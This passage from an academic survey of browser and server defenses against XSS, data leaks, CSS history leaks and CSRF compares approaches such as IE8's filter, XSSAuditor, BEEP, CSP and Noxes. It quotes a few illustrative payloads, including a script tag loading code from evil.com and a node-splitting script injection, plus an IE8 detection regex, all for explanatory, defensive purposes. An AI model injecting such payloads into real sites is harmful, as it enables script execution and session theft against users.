application logic between the untrusted inputs and the output, and false negatives if the untrusted
data is transformed beyond the capability of the string matching function. For this reason, the
matching function plays a central role in the filter’s ability to infer taint. The solutions surveyed
here use regular expressions [44], canonicalization to account for common transformations [6] and
approximate substring matching algorithms [26, 49], which are more resilient against unexpected
string transformations.

3.1.3.1 Internet Explorer 8

Microsoft’s IE8 represented the first effort from a major browser
vendor to incorporate a client-side XSS defense enabled by default. IE8’s goal is to provide a basic,
usable protection for ordinary users, thwarting basic attacks (which constitute the vast majority
of attacks in the wild) without incurring in false positives [44]. It operates by intercepting browser
requests before they are submitted, and server responses before they are passed to the HTML
parser. For this reason, even though the filter is embedded in the browser, it can be considered a
network filter, interposing on HTTP requests and responses.

In particular, requests containing suspicious-looking parameters are marked for further inspec-
tion. Shortly after, related responses are checked for content that may be derived from suspicious
parameters, and may be interpreted as a script by the browser. Any such content is “sanitized” to
prevent their interpretation as scripts. For example, the following parameter:

```html
<script src="http://evil.com/xss.js"></script>
```

is detected by one of the regular expressions in IE8:

```regex
{sc(r)ipt.*?[ /+\t]*src[ /+\t]*=}
```

The matched text is then searched in the output page. If found the ”r” in `script` is changed into `#`,
which disables the script.

This approach has a several shortcomings:

- The second step (checking whether the response contains an XSS attack) requires the filter
to solve the hard problem of accurately matching browser quirks in parsing HTML.

- Trying to model this quirks closely would result in high overhead, since the page is basically
parsed twice. For performance reasons, IE8 attempts to detect attacks by using regular
expressions based on the suspicious content found in the request. This simplicistic solution leads to an unfavorable tradeoff between false positives and false negatives[39].

- IES8 sanitization technique can be exploited [40] to perpetrate XSS attacks on some sites that weren’t previously vulnerable! In particular, the sanitization technique can cause some other part of the page that was previously interpreted as passive content to be interpreted now as a script. The particular vulnerability reported in [40] has since been fixed, but the filter architecture cannot provide assurances about the absence of other similar vulnerabilities. A safer alternative is to block the entire page in case of attacks, but this can severely hinder the user experience if a false positive is triggered.

- This filter acts on the HTTP response, which is a static document written in the HTML language. However, when the browser renders the page, an HTML response is more than that: it is a dynamic, tree-based structure that cannot be correctly approximated statically. For this reason, this filter (and all filters working at the network level) cannot protect against DOM-Based attacks.

3.1.3.2 XSSAuditor  XSSAuditor [6] is the name of the XSS filter recently integrated into Google Chrome (actually into its engine Webkit). This filter proposes an architectural improvement with respect to all other solutions: instead of interposing on the network data, this solution interposes on the JavaScript engine interface. Figure 8 shows the architecture.

This approach has many advantages:

- The filter correctly interposes by design on all requests for script evaluation, defeating browser quirks and unusual attack vectors. Complete mediation [46] is necessary to correctly enforce any policy.

- DOM-Based Attacks can be detected, because in this architecture there is no difference between dynamically constructed scripts and parsed scripts. With the rise of Web 2.0 applications, such dynamic attacks are becoming increasingly common.

- The overhead is reduced, as the policies only need to be applied to the part of the page that the parser identified as script.
• Suspect attacks can be easily sanitized by refusing to pass the script over to the JavaScript engine.

However, the filter in its current state does not express its full potential: plain substring matching on a predefined set of popular transformation is used, even though no study estimates how many attacks are missed because approximate string matching is not employed; moreover, the current policies do not catch injection in a preexisting script, because they only look for the parameter at the beginning of the script. Finally, although induced false positives are discussed in the paper, no practical solution or mitigation technique is discussed: attackers cannot inject code in non-vulnerable pages as for IE8, but can selectively disable any script on the page by providing its content as a parameter. This can be used to disable security features that rely on JavaScript support, such as FrameBusting[45].

3.1.3.3 XSSDS - Reflected Aside from the generic XSS protection, XSSDS[26] includes a reflected XSS filter which employs an approach similar to [44], [23] and [49], comparing input and output to look for untrusted input which can be interpreted as script. It leverages the Firefox parser, which is able to defeat browser quirks against Firefox clients; however, this parser comes with a higher overhead and cannot handle quirks from other clients, especially closed-source clients such as IE8 which do not offer access to the parser internals. Unlike [49], it only supports approximate matching in the face of deletion of characters and not substitution or insertion. Finally, this too is a network-based filter, unable to detect DOM-Based attacks.

3.1.3.4 Taint-Inference Taint-inference has been introduced in [49]. The author describes a server-side filter designed to stop injection attacks in general: it uses library interposition to intercept on execution of shell commands, SQL queries and network traffic. This allows the filter to protect against OS Command Injection, SQL Injection and XSS respectively. The key components of this filter are Taint-Inference and Taint-Enhanced Policies. The first is a fast, approximate substring matching algorithm which is able to emulate taint-tracking from a black-box perspective, while the second is a policy framework to detect a wide range of injection attacks in multiple languages. Taint-Tracking has already been used effectively to stop injection attacks [16, 35, 8, 41, 43, 48, 52, 63], but this technique usually has to make a tradeoff between a language-dependent, source code transformation with moderate overhead or a binary transformation applicable to COTS applications with high overhead.

Figure 9 shows the architecture: intercepted operations are passed to the filter (the rectangle on the right), which parses the content with a suitable parser for the language, assigns taint-information and uses it to enforce a security policy.

At the basis of taint-inference there are two algorithms:

• A traditional approximate substring matching algorithm (called \(p1\)). A call to \(p1(p, s)\) is used to search for \(p\) in a substring of \(s\). The algorithm uses dynamic programming to build a \(O(|p| \times |s|)\) distance table in \(O(|p| \times |s|)\). Clearly, this complexity is not acceptable for practical purposes: in XSS attacks, \(p\) is an HTTP parameter, while \(s\) is the HTML response. The latter can sometimes be thousands of kilobytes.

• To overcome the impractical complexity, taint-inference preprocesses \((p, s)\) with a fast filtering algorithm that can efficiently identify candidate matches to confirm with the aforementioned
Figure 9: Architecture of the Injection Filter

quadratic algorithm. This coarse filtering algorithm operates by sliding a window of size $|p|$ over the entire length of $|s|$. The data is compressed into a bucket of character frequencies: this allows to calculate an estimate of the edit distance between the current window on $s$ and $p$ and advancing the window with a fast, constant operation by updating the frequencies count. This yields a $O(|s| - |p|)$ algorithm, which has acceptable overhead for all purposes, especially XSS.

Taint-Enhanced Policies are tree-based security policies applied to a tree structure augmented with taint information. This filter adopts a language-independent approach: a parser is provided for each language (currently HTML, Bash Shell and SQL) which translates the data into a generic syntax tree, called Abstract Syntax Tree (AST). Taint-Inference assigns the proper taint information to the nodes of the AST. This is necessary because these policies are specified as Taint-Enhanced Policy Trees: each rule takes the form of a tree structure to search in the AST, and predicating on the taint of each tree node is necessary to effectively detect attacks without incurring in false positives.

For example, the TEPT in figure 10 is used to block XSS attacks of the form

<script src="XXX"></script>

This blocks all scripts where both the tag name and the src attribute have been found in the input parameters, but lets all scripts provided by web developers and even scripts URLs provided by parameters through.

However, with respect to XSS, this solution shares some of the problems described in IE8: even though in this case the document is parsed properly, the custom parser is not guaranteed to fully replicate all browser quirks. Moreover, DOM-Based attacks cannot be detected on a server-based defense. Finally, the problem of correctly sanitizing the application is not even discussed for this solution (the request is blocked altogether), but for architectural reasons the authors would encounter the same problem if they did.

3.1.4 Untrusted Data Isolation

The last class of detection-based defenses discussed twarts injections by isolating untrusted content. The content is isolated by design, either by safely encoding it [54] or by extending HTML with an
isolation primitive [38, 54]. The policies for untrusted content closely resemble those found in the previous category.

This category of defenses requires developers to manually specify which parts of the response are untrusted, or to use taint-tracking [35, 63, 48] or static analysis to infer this automatically.

3.1.4.1 Blueprint The main contribution of the paper is a Blueprint [54], a framework to decide on the server how the browser will parse the HTML document.

Incoherency in the HTML semantics between the server and the browser is the root of many attacks that aim to exploit non-standard browser quirks against sanitization routines and XSS filters. Instead of embedding untrusted text directly into the page, Blueprint parses it on the server and substitutes it with a serialized representation and a script which reconstruct an identical parse tree on the browser using JavaScript. Safety is enforced by isolating any serialized untrusted data using base64. The same authors published a paper [53] evaluating several isolation methods, and base64, although it does not allow developers to read the code directly from responses, was recognized as a secure choice which is also compatible with existing browsers. For example, assuming that the bold text in the left side of figure 11 is untrusted text provided by a user, the snippet is transformed into the right part before it is sent to the browser. The code tag contains Blueprint directives to create a text node plus a b node, which the call to __bp__.cxPCData("__bp1", "__bpls"); interprets to issue the corresponding DOM calls on the browser.

Since the server has complete control over the parse tree of serialized content, it is very simple
to enforce policies such as “permit b and i tags, and nothing else” either during serialization or deserialization. The overhead of this solution is mostly moderate because only untrusted portions of text have to be serialized and deserialized. These are typically a small part of the page, but can take most of the page in some specific cases (Wiki, Comment Pages, Reviews).

### 3.1.4.2 DSI

Document Structure Integrity [38] is an extension to the HTML language to allow for untrusted content isolation. Pairs of random markers surround untrusted content of text, which then can be constrained to leaf nodes or to benign HTML constructs (such as paragraphs and bold text). Untrusted text is considered as tainted and taint is tracked in JavaScript operations as well.

The HTML parser is modified to take random markers into account. The authors propose to use unicode whitespace characters: these do not cause spurious content to appear on unsupported browsers. There are 20 such characters in unicode. If 2 of them are used as start and end delimiter, these can be prepended to sequences of the other 18 characters, to create a keyed delimiter. DSI browsers are configured to reject unmatched delimiters; the delimiter key is randomly selected on each response, and therefore the attacker cannot break out of untrusted content by providing a valid closing delimiter. With respect to [25], this has the advantage of providing readable and secure isolation. Also, unlike [57], DSI has a finer granularity because it provides character-level isolation instead of node-level isolation. This example shows how only part of a text node can be marked as untrusted:

```html
<p>User Comment: [54678 untrusted code]54678</p>
```

where 54678 and 54678 represents the opening and closing delimiter with key 54678 respectively.

Such a solution requires web developers to properly identify untrusted content when building the HTML response, and pass them to a function that surrounds the content with random-keyed delimiters. The authors claim that most existing web applications can be easily retrofitted to use DSI through taint-tracking. However, taint-tracking is not without its drawbacks: if taint is tracked at the byte level, it can have a non-negligible performance impact, while at the variable level it can yield too many false positives.

### 3.1.4.3 Noncespaces

Noncespaces [57] is another attempt to introduce an isolation primitive into HTML to protect against XSS attacks. Compatibility with unsupported browsers stems from the usage of XHTML namespaces. The policy is served through the HTTP headers.

Since XHTML allows pages to import HTML tags into more than one namespace, Noncespaces imports them into two namespaces: the default namespace (no qualifier required) and a random namespace. The default namespace is used by the web application to identify untrusted nodes, while the random namespace qualifies trusted nodes. Since closing tags need a matching namespace qualifier, Noncespaces is not vulnerable to injection attacks or node splitting attacks: the attacker cannot open or close trusted nodes, because both the opening tag and the closing tag need the random namespace qualifier, which is different for each HTML response. The following code shows the blog comment example from the previous section in Noncespaces:

```html
<res:p res:id="comment1">
  User Comment: </p> Injection: <script>xss();</script>
</res:p>
```

Clearly the node-splitting attack fails, because res:p cannot be closed by p, and the script injection fails because of the policy applied to untrusted content. As for [38], reliably and efficiently inferring trust classification for the page output is an open problem.
The prototype implementation is just a proxy with an XML parser instead of a full fledged browser, so the authors did not specify how to deal with DOM-Based attacks.

3.1.5 Discussion

The major advantage of this class of defenses is that they provide protection without having to specify a policy which captures the intentions of the web application. Most of the solutions reviewed here require no configuration at all: although some static analysis approaches require source code annotations to better capture the behavior of the program, References [29, 30, 62, 61, 1, 60] have shown that plain source code analysis can detect many vulnerabilities, and is readily applicable to legacy applications and immune from wrong or outdated annotations; black-box approaches [44, 6, 26, 49] also do not require any knowledge of the web application internals or source code, which means that they can be readily deployed on web browsers. Chrome and IE8 already include an XSS filter. Isolation-based approaches require labeled output from the web application to isolate untrusted content. Although this could be manually provided by programmers, taint-tracking can also be used to infer trust classification automatically. The transformation in [7] is also completely automatic.

A key issue of this class of defenses is trust classification. String matching-based approaches use matching to infer data provenance in absence of insight into the program internals. Even though tests show that approximate string matching is enough to cover most cases, this can never be as complete as proper bit-level taint-tracking: if the program transforms the string more than what the matching algorithm can accommodate, the relationship is lost. Moreover, it is sensitive to accidental positives: if web page content resembles user-provided data, the matching function can infer a non-existing relationship. Finally, blackbox approaches cannot track data relationships among requests and sessions: in the case of XSS, they are limited to reflected attacks. Isolation-based defenses reviewed here do not really solve the problem of untrusted data classification and leave the problem to the web developers, concentrating instead on the core issue of how the untrusted data is isolated effectively. Even though the classification can be done using taint-tracking, this is not without his limits and performance overhead.

3.2 Whitelisting Intended Resources

Since injection attacks involve injecting or embedding malicious resources in the web application, it is possible to specify beforehand which resources are intended by the web developers to be part of the web application. In the context of XSS, a whitelist of benign scripts needs to be provided, and only such scripts should be executed. The policy can be enforced on the server [26], refusing to send out responses if a script is not whitelisted; alternatively, it can be enforced on the browser [25, 50], by supplying the whitelist as out-of-band data, such as through an HTTP header.

The policies can protect against other attacks other than XSS: they can protect against JavaScript-based browser exploits and prevent the embedding of the protected page itself in an unauthorized context, to prevent against clickjacking attacks [50].

3.2.1 XSSDS - Generic

XSSDS [26] describes a server-side protection against reflected XSS attacks based on string matching and against generic (both reflected and stored) XSS attacks based on known script whitelisting.
The generic protection is a training-based detector. This is valuable, as string-matching based detectors cannot deal with stored XSS attacks. It is based on the principle that the number of different scripts in web applications is bounded. It is therefore possible to use server traffic logs to train a classifier, and specifically to generate a whitelist of allowed scripts for the website. For external scripts, the domains instead of the whole URLs are added to the whitelist.

The biggest challenge for this approach is to keep false positives at bay. Crucial for this goal is the ability to extract a complete list of scripts from the logs, and the ability to generalize scripts built dynamically. Unfortunately, no matter how large the log is, a black-box approach such as XSSDS cannot give any guarantee about the accuracy of the training. Moreover, the generalization is limited to string literals and integers. For example, the script:

```javascript
var a = "string";
var b = 2;
```

is generalized as

```javascript
var a = STRING;
var b = INT;
```

This is done to capture the observation that, while some scripts are built dynamically, the dynamic part usually contributes to data and not to instructions. The test conducted by the authors seem to suggest that many web applications cannot be profiled properly by examining traffic logs, especially if they include scripts only under special conditions or build dynamic scripts that XSSDS is unable to generalize.

### 3.2.2 NoScript

NoScript [14] is a popular Firefox add-on which allows users to execute JavaScript only on trusted websites manually added to a whitelist. XSS attacks on unprivileged websites are automatically thwarted because no scripts can be executed in the first place.

NoScript also includes an XSS filter, whose approach tries to detect injected code (and thus belongs to the category described in section 3.1): like IE8, it relies on regular expressions on parameters. However, regular expressions are used to extract and identify malicious data from the URL; NoScript does not actually check if the malicious request is actually present in the response, but rather sanitizes the request before it is sent to the server. Thus, it can suffer from a higher rate of false positives. However, this plugin is targeted towards tech-savvy users who are willing and capable of maintain a whitelist of websites that are unlikely to contain attacks to each other.

### 3.2.3 Browser-Enforced Embedded Policies

[25] describes Browser-Enforced Embedded Policies (BEEP), a proposal to empower browsers with a policy enforcement framework. These policies allow untrusted users to insert rich-text formatting through HTML tags, while preventing them from inserting scripts. The policies are describes as embedded because they are provided inlined in the HTML page as an ordinary script.

Historically, BEEP has promoted two important intuitions that became building blocks for many other works in the area:

1. The browser is the preferred place to enforce a policy, because it can predicate on the dynamic behaviour of the page. Treating HTML pages as static entities written in the HTML lan-
language has lead to all sorts of problems in previous attempts. Moreover, browser are complex programs, whose behaviour cannot be accurately replicated on the server side.

2. Web Applications should provide a customized policy: these are complex entities and no one-size-fits-all policy can reliably protect Web Applications from all attacks without being incompatible with some of them: to provide protection, all purely client-side solutions make assumptions about a subset of “safe” browser capabilities being used. These assumption are broken by a significant number of websites.

Along with this important contribution, they provide two concrete policies:

1. **Whitelisting**: every HTML page can define a special Javascript function in its header called `parseHook`. This function is called by the browser for each script identified by the HTML parser and receives the contents of the script as an argument. The purpose of `parseHook` is to compare the contents of the script against a list of known scripts. For a more compact representation of the whitelist, the authors propose that the function should hash the scripts and compare the hash against a list of known hashes.

2. **DOM Sandboxing**: web developers can specify the additional HTML attribute `sandbox` to deny execution of scripts in a node’s descendants. For example, to create a container for a user comment, it is possible to write:

   `<span id="comment_1" sandbox> user comment </span>`

   This allows the user to use markup tags such as `b`, `i` or `a` in his comments, and require no sanitization efforts from the server to filter out scripts.

However, the policies presented here have several shortcomings which limit the practical applicability of BEEP:

- The whitelisting policy proposed does not support script polymorphism, that is, scripts dynamically constructed by the server which are served to the user in many different (and possibly infinite) variations. As an improvement, it would be possible to ignore literals when checking from script equality as [26].

- The implementation of `parseHook` provided intentionally allows dynamically creating new scripts from whitelisted scripts. This can allow some DOM-Based attacks to succeed. Unfortunately, scripts dynamically created with JavaScript cannot be stopped: since BEEP does not have support for polymorphism in whitelists, and given that the vast majority of dynamically constructed scripts are dynamic, denying dynamic scripts would also block scripts that the web application developers intended, but BEEP is unable to whitelist.

- The sandbox policy is vulnerable to node-splitting attacks. These attacks escape the policy enforced on a node by escaping the node. For example, given the comment `div` shown above, a malicious user can break out of the `div` tag and execute a script:

  `<div id="comment_1" sandbox>`
  `
  malicious comment</div><script>xss();</script><div>`
  `
</div>`

26
The authors correctly recognized the problem, but fail to deliver an appropriate mitigation. The proposed defense is to encode the untrusted text in a JavaScript string, and use the DOM property `innerHTML` to assign HTML content to the `sandbox` node. For example:

```html
<div id="n5" sandbox>
</div>
<script>
  document.getElementById("n5").innerHTML = "quoted possibly-malicious content";
</script>
```

However, this complicates the structure of the HTML page and makes it harder for web developers to retrofit web applications. Worse, this implies that the two policies have negative interactions when they are used together: the node-splitting fix for the sandbox policy shown above introduces a new script, which needs to be whitelisted. However, the script is likely to be dynamic, which makes it hard for the two policies to be active at the same time.

- In its current status, BEEP can only block scripts. However, scripts are not the only type of injected content which can disrupt the user’s session integrity.

### 3.2.4 Content-Security Policies

The Content Security Policy (CSP) framework [50] was recently introduced in Firefox 4.0. Its purpose is to let web developers restrict the type of content which can be embedded on a web site. The web developer can specify a list of authorized hosts for each type of content that is embedded on the page, such as scripts, images, CSS, etc. The main idea is to constrain from which domains content can be embedded in a web page, to further protect web pages against attacks such as XSS and clickjacking, while at the same time ensuring that the adoption of CSP does not cause new vulnerabilities, as many reflected XSS filters do [40][6].

Normally, the SOP only protects domain boundaries with respect to JavaScript access, but it is not enforced when embedding elements on a page. For this reason, JavaScript code running on domain `a.com` cannot access cookies or page content for domain `b.com`, but `a.com` is free to embed resources such as images or scripts from `b.com`. While the SOP is effective in protecting JavaScript access, it cannot be used for the latter case, as it would be too restrictive: the current policy for embedding content is basically `allow all`. CSPs allow a server to specify a policy for embedded content. Since embedded content is allowed by default, CSPs only restrict the default policy.

The policy is served as a list of directives supplied in the HTTP header `X-Content-Security-Policy`. The following header restricts allowed domains for images and scripts.

```
X-Content-Security-Policy: \
  script-src mail.google.com \
  image-src images.google.com
```

The main goal of CSPs is to protect against XSS attacks, although it can also protect against clickjacking, data leaks and packet sniffing attacks. XSS protection is enforced by requiring scripts to reside on hosts that are under the control of the web developers, while clickjacking is prevented by enforcing a known set of domains that are allowed to embed the application in an iframe.

CSPs can effectively block injection of external scripts from malicious hosts by predicated on the explicit provenance of the content, namely, the DNS origin; the rule above specifies that `mail.google.com` is the sole valid provenance for scripts on the page. However, not all dangerous content embedded in an HTML page has an explicit origin: in absence of an isolation primitive
for untrusted HTML content [53], all the content embedded in a page which embeds untrusted data cannot be considered originated from the same origin as the page embedding it. Therefore, inline HTML elements such as inline scripts cannot be considered implicitly trusted. Implicit trust for inline content is what makes XSS attacks possible in the first place. Mozilla’s developers correctly recognized the problem, but a practical solution based on host whitelisting does not exist. Given that CSPs only predicate on the origin of the content and that inline scripts have no origin, CSPs can implement only two types of policies: allow all or deny all. The first policy leaves websites vulnerable to inline XSS vectors, while the second forbids web developers from using inline JavaScript content (inline scripts, `javascript:` URLs and inline event handlers). This is a serious limitation: although separating content from behaviour is a good web application design practice, almost no website completely separates the two. Therefore, CSPs are not immediately compatible with most websites, and require web developers to move all JavaScript content to external resources. We believe that this will slow or discourage the adoption of CSPs, losing all the benefits that they provide. Moreover, this cannot protect dynamic scripts effectively: if a dynamic script contains the parameter `name` and is moved from an HTML page to an external script on a trusted host, the external script itself needs to be dynamic. The only simple way to accomplish this is to have the page pass a parameter to the script, which now implements simple server-side logic:

```html
<script src="snippet.js?name=john"></script>
```

However, if the web app was vulnerable to XSS on the `name` parameter in the HTML page, now the script is vulnerable as well. But since the host is whitelisted, CSPs cannot stop the attack. This is not a bug (there are other ways to have dynamic scripts, e.g. leave the data in the HTML page and have the script read it with the DOM API), but it shows how existing application cannot be retrofitted easily.

[38] and [57] do not have this problem because they provide provenance information for inline content, but this requires web application to supply provenance information along with responses (either through manual analysis or taint-tracking) and an isolation primitive to avoid escalation attacks where the attacker injects content whose provenance is then considered trusted by the web application.

CSPs also include a reporting mechanism to send policy violations from CSP-enabled browsers to the server. However, the web application is basically accepting and saving data from untrusted sources. The POST request must include a special header, so it is impossible for malicious websites to use the user’s browser to send cross-origin violation reports. However, it is still possible to use botnets or proxies to disrupt the reporting process by adding noise. Most websites that accept untrusted data usually have some mechanism such as CAPTCHAs to prevent automated submissions (usually for antispam purposes), but this would put the burden on the user, who does not have the incentive to prove he is human.

3.2.5 Discussion

Whitelisting is an attractive approach because it yields simple and secure policies. However, it is best suited for application domains where there is a finite and limited number of elements to whitelist. For complex domains (such as browsers) the policy framework often needs generalization capabilities to whitelist classes of resources rather than single resources.

In the case of XSS, a non-negligible number of inline scripts are built dynamically by web applications. This can cause false positives and limits the applicability of whitelist based approaches.
with respect to inline script whitelisting. Content-based approaches such as [26] would yield false
positives, because the script has not been encountered during the training phase; origin-based
approaches [14, 50] cannot handle inline scripts since these have no origin: they must either allow
them all or deny them all.

3.3 Preventing Unintended Information Flow

These techniques addresses shortcomings of the SOP in preventing sensitive information from being
leaked to another domain. There are two possible causes for this:

- The domain boundary has been breached through an XSS attack: the code can be executed
  inside the domain, and the SOP is not designed to prevent exfiltration of sensitive data to
  other domains, but rather limited to isolate domain data from other domains. For example, if
  the attacker wants to exfiltrate the value of the document.cookie variable, he is free to perform
  a GET request to another domain:

  ```javascript
  ```

  The SOP is only concerned with protecting evil.com from the attacker: the latter cannot read
  the response. However, the SOP itself does nothing to stop the GET request from being sent,
  which leaks the cookie to evil.com.

- The SOP is flawed by design and fails to protect a sensitive resource, making it available
cross-domain. So far, the security community has identified two major unprotected resources
  that can be leaked: browser history and CSS rules.

  These defenses do not prevent the attack itself (e.g. the attacker from actually reading the
  cookie value), but the last step which is necessary to cause damage in most scenarios, namely the
cross-domain trasfer of data.

3.3.1 Noxes

Noxes [33] is a personal firewall to protect against data leaks due to XSS attacks. Instead of
operating on the network level, this firewall is actually a proxy which examines the HTTP traffic
and blocks requests which might potentially leak data across domains.

A traditional network firewall is not appropriate to restrict interactions between web applications:
its rules would not be able to inspect HTTP requests and would be limited to lists such as:

```
HOST a.com PORT 80 ALLOW
HOST b.com PORT 443 DENY
```

The user would be forced to allow communication to every new host encountered during his browsing
session. Instead, Noxes can improve on this by examining HTTP responses served to the user using
two heuristics:

1. All static links found in incoming HTTP responses are temporarily added to the whitelist.
   These represents links intended by the web application logic and are therefore safe.

2. All same-origin requests are safe. Since there is no cross-domain transfer of data, these
   requests are safe to send.
Even using these two heuristics, the false positive rate is high: the authors reported a 5% false positive rate, which is unacceptable for ordinary users. The false positive rate is expected to grow as web applications grow increasingly dynamic and construct more links dynamically. Moreover, optimization 2) allows second-order attacks, where the attacker injects a link which actually performs the XSS attack if clicked.

3.3.2 JavaScript Taint-Tracking

[58] presents a browser modification to track sensitive information and prevent it from being sent to third parties. The system mainly uses dynamic taint-tracking for precise tracking on the instructions actually executed, but complements it with static analysis when analyzing control flow dependencies, to ensure that all variables along paths that could be executed are tainted appropriately. The following code shows how to test for a tainted variable without tainting the variables in the branch actually taken at runtime if only direct control flow dependencies were considered:

```javascript
x = false;
y = false;
if (document.cookie == "abc") {
   x = true;
} else {
   y = true;
}
if (x == false) {
   // Line 6 was executed, and x is not tainted
}
if (y == false) {
   // Line 4 was executed, and y is not tainted
}
```

Their static analysis component is able to taint both $x$ and $y$ in the above case. If the system detects an attempt to leak the data to another domain (using for example `document.location` or `XMLHttpRequest`)

The results show that cross-domain leaks are very common towards advertising networks: whitelisting the top-30 networks reduces the false positives rate from 8.58% to 1.35%. Also, by labeling only cookies as sensitive instead of a whole range of private information (such as the data when the document was last modified, contained in `document.lastModified`), the false positive rate can be brought down to 0.51%. The author reported that the browser incurred in negligible overhead. This seems unusual, as all taint-tracking systems incur in some non-negligible overhead (which is usually very modest for source-code transformations, and considerable for binary transformations). The explanation for this can probably be found in the version of Firefox used, which is version 1.0pre. This is a very old version, and JavaScript was not properly optimized at the time. It is very likely that the JavaScript optimizations would now uncover a non-negligible overhead in line with other source-based taint-tracking solutions.

3.3.3 Cross-Origin CSS Fix

It is clear that lenient parsing of CSS documents and ignoring content-type directives is the cause of the Cross-Origin CSS vulnerability. However, these are part of the standard: if browsers stop parsing CSS documents which contain syntax errors or are served with the wrong content type
Figure 12: CSS Statistics for Alexa top 100,000 sites

(strict enforcement), how many websites will have compatibility problems? [20] presents a large-scale study on common practices with regards to CSS documents. The purpose of the experiment is to drive the creation of a policy that strikes a balance between ensuring compatibility with websites and fixing the issue.

The authors fetched the home pages of the Top 100000 websites according to Alexa [21] and their corresponding CSS stylesheets. For each page and style sheet, they collected the following information:

- Whether the CSS is a cross-origin or a same-origin request with respect to the home page. This is only apparently unrelated to browser policies regarding CSS files, because it can be used by the policy to whitelist CSS files that cannot possibly leak data to a different origin.
- Whether the page is in standards mode or quirks mode. “Standard Mode” pages already filter out by content-type and are therefore protected from this attack.
- Whether the CSS file contains syntax errors. It is natural to expect that only a small percentage of the CSS files contain syntax errors. Yet, most victimized HTML pages will contain syntax errors and therefore this feature can play a part in the policy.
- Whether the Content-type served is text/css. This can be useful as well because most HTML pages will not be served with such type. Yet, many web servers are misconfigured and do not serve the correct content-type headers for CSS files.

The results are summarized in table 12, and show what is the price in terms of compatibility for each combination. While all the rows pertaining to “Standards Mode” can be discarded (as a strict policy is already enforced by default), the results show that there are no cross-origin CSS files referenced from quirk mode pages, served with a wrong content-type and containing syntax errors. Incidentally, these are also characteristics that virtually all victimized HTML pages have. Therefore, they propose a minimal enforcement policy that blocks CSS resources only if they are cross-origin, have an invalid content-type and are syntactically malformed. All major browsers have implemented the minimal enforcement policy, except for Firefox 4 which opted for strict enforcement.

3.3.4 CSS History Hack Fix

Bug #147777 on Bugzilla [3], the bug related to CSS History Leaks, has been filed as early as 2002, and was only recently fixed. To this date, Firefox is the only browser which actively takes measures to protect against this attack. The reason for this is that there is no perfect solution, just
compromises on compatibility: styling :visited and :unvisited links is part of web standards, and so is the use of getComputedStyle. Mozilla proposed solution [4] tries to be as backward compatible as possible, but it does introduce incompatibilities.

The proposed solution addresses three main types of attacks:

- **Layout-Based Attacks**: these include attacks such as providing a different background image for the visited and unvisited style, so that a malicious server can read the request sent by the browser and infer if a website has been visited or not. These attacks are addressed by only allowing color properties such as color, background-color and so on to differ between visited and unvisited links. Other properties only use values from the unvisited styles.

- **Selector-Based attacks**: these attacks use CSS selectors to style an external element according to a visited or unvisited link. :visited + span selects the span node next to a visited link. The proposed fix treats all links as unvisited in such cases.

- **Computed Style Attacks**: these attacks are based on the use of getComputedStyle, which returns the effective properties as a result of the active CSS selectors for the element. The fix always returns the computed style as if the element was unvisited.

Most websites do not look any different, however some websites that use more than color to differentiate between visited and unvisited links might be broken. Unfortunately, this only blocks automatic, high-bandwidth attacks which are able to extract thousands of URLs per second, but these are the most dangerous CSS History Attacks. Also, while browser developers expand the capabilities of browsers (e.g. HTML5 features), they need to be careful not to introduce any more avenues for high-bandwidth attacks.

### 3.3.5 Discussion

These solution may seem to potentially reduce the number of false positives, as they only concern resources which are actively transferring sensitive information to another domain. However, they actually suffer from a high rate of false positives and false negatives. False positives are common because web application trust boundaries go beyond the single DNS origin. For example, a local google service (such as google.de) might need to leak sensitive data to google.com. Advertising networks are another source of cross-domain data transfer that the web application did intend. The false negative rate is also quite common for two main reasons: firstly, a data leak is not the ultimate goal of every XSS attack. The popular Samy Worm [32], which rapidly infected thousands of MySpace users, used its stolen privileges to propagate itself to all the victim’s friends, rather than sending the cookies to the attacker. Secondly, the attacker can use the application’s own capabilities to exfiltrate sensitive information: many Web 2.0 applications have messaging capabilities, and the browser cannot stop these leaks if the Web Application is used as a proxy.

Protection against Cross-Origin CSS attacks and CSS History hacks have enjoyed slightly better popularity because the third party leaks involved are not as commonly used by web applications, and browser developers can therefore attempt to close the SOP holes without severe usability problems.

### 3.4 Preventing Confused Deputy Attacks

As previously explained, the confused deputy problem appears as two concrete attacks in the WWW scenario: CSRF and clickjacking. In the former, the confused deputy is the browser which
sends unintended, sensitive requests along with authentication information. Implicitly sending authentication information (such as cookies) is normally done for the user’s convenience to keep him logged in at all times, but it can also be exploited by an attacker to perform malicious actions. The simplest solution is to identify a superset of browser requests that completely contain the set of CSRF attacks. These are described in Cross-Origin Limitations. However, the most common solution is to require sensitive requests to bear authentication information other than what is already sent implicitly (cookies or HTTP authentication): a random identifier generated by the web application proves that the source of the request is the web application itself.

Clickjacking defenses are naturally different because the confused deputy involved is the user, not the browser. As shown in section 2.2.2, clickjacking involves overlay of HTML containers to lure the user into clicking invisible elements. The defenses described here either prevent overlaying over certain elements or show the user the element actually clicked, to ask confirmation and only allow intended requests.

3.4.1 Cross-Origin Limitations

These defenses protect browsers against CSRF and clickjacking attacks by preventing request and page rendering according to a policy. Generally speaking, the policies concern cross-domain requests: same-origin requests are constructed within a domain and cannot therefore be forged by an attacker unless the domain has already been compromised. However, the set of cross-domain requests contains many other requests other than CSRF exploits and clickjacking attempts. For this reason, the user experience is usually somewhat degraded, as cross-origin requests are a common practice and in some cases required to provide services, such as posting videos from Facebook to Youtube.

3.4.1.1 Protector [65] presents 4 CSRF vulnerabilities to major websites and presents two mitigation techniques, one for the server side and one for the client-side. The server side technique is concerned with augmenting a famous Web Application Framework [22] with automatic CSRF support, while the client-side defense is a Firefox Plugin to protect against POST-Based CSRF attacks.

The plugin interposes on all HTTP requests and prevents POST-Based CSRF attacks with the following policy:

- If the request is not a POST request, it is allowed. Even though CSRF vulnerabilities can be exploited through GET requests, allowing them is necessary because otherwise too many requests would be blocked and the user would be confused by the warnings. The authors of [10] analyzed traffic from their own university department to measure the number of GET vs POST requests, and cross-origin vs. same-origin. The results are summarized in table 13, and support the claim that GET requests need to be allowed for usability purposes.
If the request is a same-origin request, it is allowed. This rule captures the trust that the browser normally has for same-origin resources, and whitelists most requests (see table 13).

If the target domain has an Adobe Flash Cross-Domain policy (a valid crossdomain.xml file in its root directory), this is used to make the decision. Although using a policy meant for Adobe Flash to protect against CSRF attacks might seem counterintuitive or even dangerous, the rationale for this decision is that if the Flash cross-domain policy allows site A to contact site B, then Flash can be used instead of plain HTML to launch a successful CSRF attack [13]. The reference shows that many websites are vulnerable to this attack. Thus, extending the vulnerability to HTML-based attacks does not make any previously safe website vulnerable, but can be instead used instead to capture implicit trust relationship among sites and fend off some false positives.

